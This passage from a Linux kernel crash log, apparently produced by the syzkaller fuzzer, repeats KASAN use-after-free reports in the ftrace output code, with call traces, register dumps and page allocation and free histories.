vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
trace_raw_output_lock+0x47/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
Read of size 8 at addr ffff888119b6ec34 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
Read of size 4 at addr ffff888119b6ec2c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
trace_event_printf+0xa7/0x170 kernel/trace/trace_output.c:356
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
